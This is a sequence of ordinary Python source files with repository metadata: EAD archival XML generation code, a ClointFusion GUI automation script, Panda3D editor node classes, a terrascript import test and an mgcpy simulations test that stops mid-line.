ET.Element(heading.find('ElementName').text) controlaccess_element.append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: # if there is already an <controlaccess> element new_element = ET.Element(heading.find('ElementName').text) match.find('controlaccess').append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: # <unitid> within <did> of <c>: for match in arch_root.find('dsc').iter('c'): if match.find('did/unitid') is None: pass else: if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + heading.find('UnitID').text: if match.find(tag_name) is None: # if there is no <controlaccess> element controlaccess_element = ET.Element('controlaccess') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, controlaccess_element) new_element = ET.Element(heading.find('ElementName').text) controlaccess_element.append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: # if there is already an <controlaccess> element new_element = ET.Element(heading.find('ElementName').text) match.find('controlaccess').append(new_element) part_element = ET.Element('part') new_element.append(part_element) part_element.text = heading.find('Part').text if heading.find('MARCEncoding').text: new_element.set('encodinganalog', heading.find('MARCEncoding').text) if heading.find('Identifier').text: if version == "ead3": new_element.set('identifier', heading.find('Identifier').text) else: new_element.set('id', heading.find('Identifier').text) if heading.find('Relator').text: if version == "ead3": new_element.set('relator', heading.find('Relator').text) else: new_element.set('role', heading.find('Relator').text) if heading.find('Normal').text: new_element.set('normal', heading.find('Normal').text) if heading.find('Source').text: new_element.set('source', heading.find('Source').text) else: #Error message for no element name from messages import error error("Controlled Access Heading," + heading.find('Part').text + " does not have an Element Name. It will not be encoded.", False) def relatedmaterial_lower(arch_root, pub_element, man_element, version, tag_name, collectionID, series_separator): if arch_root.find('dsc/c01') is None and arch_root.find('dsc/c') is None: pass else: if arch_root.find('dsc/c01') is None: if arch_root.find('dsc/c') is None: pass else: c_numbers = False if "id" in arch_root.find('dsc/c').attrib: attribute_id = True else: attribute_id = False else: c_numbers = True if "id" in arch_root.find('dsc/c01').attrib: attribute_id = True else: attribute_id = False if pub_element is None: pass else: for publication in pub_element: if publication.find('UnitID') is None: pass else: if publication.find('UnitID').text: if attribute_id == True: if c_numbers == True: # @id in <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.attrib['id'] == collectionID + publication.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) bibref_element = ET.Element('bibref') relatedmaterial_element.append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element bibref_element = ET.Element('bibref') march.find('relatedmaterial').append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: # @id in <c>: for match in arch_root.find('dsc').iter('c'): if match.attrib['id'] == collectionID + publication.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) bibref_element = ET.Element('bibref') relatedmaterial_element.append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element bibref_element = ET.Element('bibref') march.find('relatedmaterial').append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: if c_numbers == True: # <unitid> within <did> of <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.find('did/unitid') is None: pass else: if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + publication.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) bibref_element = ET.Element('bibref') relatedmaterial_element.append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element bibref_element = ET.Element('bibref') march.find('relatedmaterial').append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: # <unitid> within <did> of <c>: for match in arch_root.find('dsc').iter('c'): if match.find('did/unitid') is None: pass else: if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + publication.find('UnitID').text: print "test9" if match.find(tag_name) is None: print "test10" # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) bibref_element = ET.Element('bibref') relatedmaterial_element.append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element bibref_element = ET.Element('bibref') march.find('relatedmaterial').append(bibref_element) if publication.find('Author').text: bibref_element.text = publication.find('Author').text + ", " if publication.find('Title').text: title_element = ET.Element('title') bibref_element.append(title_element) title_element.text = publication.find('Title').text if publication.find('Citation').text: title_element.tail = " " + publication.find('Citation').text + ", " if publication.find('Date').text: date_element = ET.Element('date') bibref_element.append(date_element) date_element.text = publication.find('Date').text if publication.find('NormalDate').text: date_element.set("normal", publication.find('NormalDate').text) if publication.find('Reference').text: ref_element = ET.Element('ref') bibref_element.append(ref_element) ref_element.text = publication.find('Reference').text if publication.find('ReferenceLink').text: ref_element.set('ref', publication.find('ReferenceLink').text) if man_element is None: pass else: for manuscript in man_element: if manuscript.find('UnitID') is None: pass else: if manuscript.find('UnitID').text: if attribute_id == True: if c_numbers == True: # @id in <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.attrib['id'] == collectionID + manuscript.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) archref_element = ET.Element('archref') relatedmaterial_element.append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element archref_element = ET.Element('archref') match.find('relatedmaterial').append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: # @id in <c>: for match in arch_root.find('dsc').iter('c'): if "id" in match.attrib: if match.attrib['id'] == collectionID + manuscript.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) archref_element = ET.Element('archref') relatedmaterial_element.append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element archref_element = ET.Element('archref') match.find('relatedmaterial').append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: if c_numbers == True: # <unitid> within <did> of <c01>, <c02>, etc.: for match in arch_root.find('dsc').iter(): if match.tag.startswith('c0') or match.tag.startswith('c1'): if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + manuscript.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) archref_element = ET.Element('archref') relatedmaterial_element.append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element archref_element = ET.Element('archref') match.find('relatedmaterial').append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: # <unitid> within <did> of <c>: for match in arch_root.find('dsc').iter('c'): if match.find('did/unitid') is None: pass else: if match.find('did/unitid').text: if match.find('did/unitid').text == collectionID + manuscript.find('UnitID').text: if match.find(tag_name) is None: # if there is no <relatedmaterial> element relatedmaterial_element = ET.Element('relatedmaterial') append_index = match.getchildren().index(match.find('did')) + 1 match.insert(append_index, relatedmaterial_element) archref_element = ET.Element('archref') relatedmaterial_element.append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text) else: # if there is already an <relatedmaterial> element archref_element = ET.Element('archref') match.find('relatedmaterial').append(archref_element) if manuscript.find('Collection').text: archref_element.text = manuscript.find('Collection').text + ", " if manuscript.find('UnitTitle').text: title_element = ET.Element('title') archref_element.append(title_element) title_element.text = manuscript.find('UnitTitle').text if manuscript.find('UnitID').text: title_element.tail = " " + manuscript.find('UnitID').text + ", " if manuscript.find('Date').text: date_element = ET.Element('date') archref_element.append(date_element) date_element.text = manuscript.find('Date').text if manuscript.find('NormalDate').text: date_element.set("normal", manuscript.find('NormalDate').text) if manuscript.find('Reference').text: ref_element = ET.Element('ref') archref_element.append(ref_element) ref_element.text = manuscript.find('Reference').text if manuscript.find('ReferenceLink').text: ref_element.set('ref', manuscript.find('ReferenceLink').text)
51.648734
136
0.594306
5,313
48,963
5.344815
0.023904
0.040356
0.069867
0.035497
0.98197
0.979118
0.975948
0.97049
0.97049
0.97049
0
0.003759
0.277454
48,963
947
137
51.703274
0.798915
0.039418
0
0.971879
0
0
0.117071
0
0
0
0
0
0
0
null
null
0.017998
0.011249
null
null
0.00225
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
8
34c7ada61ea365faf5c090c3bebfa746cf1364fa
2,767
py
Python
excel_2021-01-25_14-56-13.py
ClointFusion-Community/CFC-Projects
c6381738ade07e6e8979bbae37400ec2b4e626c5
[ "MIT" ]
null
null
null
excel_2021-01-25_14-56-13.py
ClointFusion-Community/CFC-Projects
c6381738ade07e6e8979bbae37400ec2b4e626c5
[ "MIT" ]
null
null
null
excel_2021-01-25_14-56-13.py
ClointFusion-Community/CFC-Projects
c6381738ade07e6e8979bbae37400ec2b4e626c5
[ "MIT" ]
null
null
null
# This code is generated automatically by ClointFusion BOT Builder Tool. import ClointFusion as cf import time cf.window_show_desktop() cf.mouse_click(int(cf.pg.size()[0]/2),int(cf.pg.size()[1]/2)) cf.key_press('alt+tab') time.sleep(0) time.sleep(2) try: cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(r'C:\Users\Sushil\AppData\Local\Temp\cf_log_qpp801ov_generator\Images\Snips\1-cflogqpp801ovgenerator-551_221.png',conf=0.7, wait=10),left_or_right='left', single_double_triple = 'single') except: cf.mouse_click(551,221,left_or_right='left', single_double_triple = 'single') time.sleep(0) try: cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(r'C:\Users\Sushil\AppData\Local\Temp\cf_log_qpp801ov_generator\Images\Snips\2-cflogqpp801ovgenerator-551_221.png',conf=0.7, wait=11),left_or_right='left', single_double_triple = 'double') except: cf.mouse_click(551,221,left_or_right='left', single_double_triple = 'double') time.sleep(1) cf.key_press('down') time.sleep(0) cf.key_press('enter') time.sleep(4) try: cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(r'C:\Users\Sushil\AppData\Local\Temp\cf_log_qpp801ov_generator\Images\Snips\3-Snips-692_439.png',conf=0.7, wait=10),left_or_right='left', single_double_triple = 'single') except: cf.mouse_click(692,439,left_or_right='left', single_double_triple = 'single') time.sleep(0) try: cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(r'C:\Users\Sushil\AppData\Local\Temp\cf_log_qpp801ov_generator\Images\Snips\4-Snips-692_439.png',conf=0.7, wait=12),left_or_right='left', single_double_triple = 'single') except: cf.mouse_click(692,439,left_or_right='left', single_double_triple = 'single') time.sleep(2) cf.key_press('alt+tab') time.sleep(0) time.sleep(1) try: cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(r'C:\Users\Sushil\AppData\Local\Temp\cf_log_qpp801ov_generator\Images\Snips\5-ClointFusionBOTBuilderpyVisualStudioCode-692_439.png',conf=0.7, wait=10),left_or_right='left', single_double_triple = 'single') except: cf.mouse_click(692,439,left_or_right='left', single_double_triple = 'single') time.sleep(0) cf.key_press('alt+tab') time.sleep(0) cf.key_press('alt+tab') time.sleep(4) cf.key_press('alt+tab') time.sleep(0) time.sleep(1) try: cf.mouse_click(*cf.mouse_search_snip_return_coordinates_x_y(r'C:\Users\Sushil\AppData\Local\Temp\cf_log_qpp801ov_generator\Images\Snips\6-ClointFusionBOTBuilderpyVisualStudioCode-692_439.png',conf=0.7, wait=10),left_or_right='left', single_double_triple = 'single') except: cf.mouse_click(692,439,left_or_right='left', single_double_triple = 'single') time.sleep(0) cf.window_close_windows('ClointFusion_BOT_Builder.py - Visual Studio Code')
37.90411
269
0.78352
469
2,767
4.336887
0.170576
0.065388
0.076696
0.088496
0.873648
0.873648
0.863815
0.863815
0.79351
0.79351
0
0.056502
0.066137
2,767
73
270
37.90411
0.73065
0.025298
0
0.711538
1
0.115385
0.324184
0.255564
0
0
0
0
0
1
0
true
0
0.038462
0
0.038462
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
9
34cb35d71354f54a0a45c01e63ea4e84f1f90b66
1,981
py
Python
src/pandaEditor/game/nodes/showbasedefaults.py
Derfies/panda3d-editor
66a271c248b53f6b57d93cc0d2a7b4cbb0d37e4c
[ "MIT" ]
43
2015-01-29T12:28:21.000Z
2022-02-27T09:06:36.000Z
src/pandaEditor/game/nodes/showbasedefaults.py
Derfies/panda3d-editor
66a271c248b53f6b57d93cc0d2a7b4cbb0d37e4c
[ "MIT" ]
2
2022-02-15T01:26:35.000Z
2022-02-15T19:34:10.000Z
src/pandaEditor/game/nodes/showbasedefaults.py
Derfies/panda3d-editor
66a271c248b53f6b57d93cc0d2a7b4cbb0d37e4c
[ "MIT" ]
19
2015-02-25T16:24:29.000Z
2022-02-23T07:52:17.000Z
from direct.showbase.PythonUtil import getBase as get_base from game.nodes.camera import Camera from game.nodes.modelnode import ModelNode from game.nodes.nodepath import NodePath from game.nodes.componentmetaclass import ComponentMetaClass class Render(NodePath, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().render) @property def parent(self): return get_base().node_manager.wrap(get_base().scene) @parent.setter def parent(self, value): pass class BaseCamera(ModelNode, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().camera) class BaseCam(Camera, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().cam) class Render2d(NodePath, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().render2d) @property def parent(self): return get_base().node_manager.wrap(get_base().scene) @parent.setter def parent(self, value): pass class Aspect2d(NodePath, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().aspect2d) class Pixel2d(NodePath, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().pixel2d) class Camera2d(NodePath, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().camera2d) class Cam2d(NodePath, metaclass=ComponentMetaClass): @classmethod def create(cls, *args, **kwargs): return super().create(cls, data=get_base().cam2d)
25.075949
61
0.683493
225
1,981
5.951111
0.2
0.107543
0.227035
0.244959
0.728902
0.728902
0.728902
0.728902
0.728902
0.728902
0
0.006274
0.195356
1,981
78
62
25.397436
0.833752
0
0
0.571429
0
0
0
0
0
0
0
0
0
1
0.244898
false
0.040816
0.102041
0.204082
0.714286
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
9
32cc3abb823b518df4b9227564675d174f735ac5
695
py
Python
tests/test_provider_banzaicloud_k8s.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
507
2017-07-26T02:58:38.000Z
2022-01-21T12:35:13.000Z
tests/test_provider_banzaicloud_k8s.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
135
2017-07-20T12:01:59.000Z
2021-10-04T22:25:40.000Z
tests/test_provider_banzaicloud_k8s.py
mjuenema/python-terrascript
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
[ "BSD-2-Clause" ]
81
2018-02-20T17:55:28.000Z
2022-01-31T07:08:40.000Z
# tests/test_provider_banzaicloud_k8s.py # Automatically generated by tools/makecode.py (24-Sep-2021 15:19:55 UTC) def test_provider_import(): import terrascript.provider.banzaicloud.k8s def test_resource_import(): from terrascript.resource.banzaicloud.k8s import k8s_manifest # TODO: Shortcut imports without namespace for official and supported providers. # TODO: This has to be moved into a required_providers block. # def test_version_source(): # # import terrascript.provider.banzaicloud.k8s # # t = terrascript.provider.banzaicloud.k8s.k8s() # s = str(t) # # assert 'https://github.com/banzaicloud/terraform-provider-k8s' in s # assert '0.9.1' in s
27.8
80
0.743885
95
695
5.326316
0.6
0.13834
0.173913
0.195652
0.15415
0
0
0
0
0
0
0.039249
0.156835
695
24
81
28.958333
0.824232
0.706475
0
0
1
0
0
0
0
0
0
0.041667
0
1
0.5
true
0
1
0
1.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
1
0
0
1
1
0
1
0
1
0
0
7
fd5bee5dcb8da6f2363eca342d8d7a8ab2de5e00
5,186
py
Python
mgcpy/benchmarks/unit_tests/simulations_test.py
neurodata-papers/mgc
0e50fd8f4e2a3267abf4fd88e92fba653ba056b1
[ "Apache-2.0" ]
5
2018-09-20T20:34:23.000Z
2018-10-26T20:51:46.000Z
mgcpy/benchmarks/unit_tests/simulations_test.py
neurodata-papers/mgc
0e50fd8f4e2a3267abf4fd88e92fba653ba056b1
[ "Apache-2.0" ]
61
2018-09-20T01:00:16.000Z
2018-12-14T07:01:34.000Z
mgcpy/benchmarks/unit_tests/simulations_test.py
neurodata-papers/mgc
0e50fd8f4e2a3267abf4fd88e92fba653ba056b1
[ "Apache-2.0" ]
20
2020-07-01T11:32:19.000Z
2022-02-25T12:04:11.000Z
import numpy as np import pytest from mgcpy.benchmarks import simulations as sims def test_simulations(): num_samps = 1000 num_dim1 = 1 num_dim2 = 300 independent = True # Linear Simulation returns_low_dim = sims.linear_sim(num_samps, num_dim1) returns_high_dim = sims.linear_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Exponential Simulation returns_low_dim = sims.exp_sim(num_samps, num_dim1) returns_high_dim = sims.exp_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Cubic Simulation returns_low_dim = sims.cub_sim(num_samps, num_dim1) returns_high_dim = sims.cub_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Joint-Normal Simulation returns_low_dim = sims.joint_sim(num_samps, num_dim1) returns_high_dim = sims.joint_sim(num_samps, num_dim2) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Step Simulation returns_low_dim = sims.step_sim(num_samps, num_dim1) returns_high_dim = sims.step_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Quadratic Simulation returns_low_dim = sims.quad_sim(num_samps, num_dim1) returns_high_dim = sims.quad_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # W Simulation returns_low_dim = sims.w_sim(num_samps, num_dim1) returns_high_dim = sims.w_sim(num_samps, num_dim2, indep=independent) assert np.all(returns_low_dim[0].shape == (num_samps, num_dim1)) assert np.all(returns_high_dim[0].shape == (num_samps, num_dim2)) # Spiral Simulation returns_low_dim = sims.spiral_sim(num_samps, num_dim1) returns_high_dim = sims.spiral_sim(num_samps, num_dim2) assert 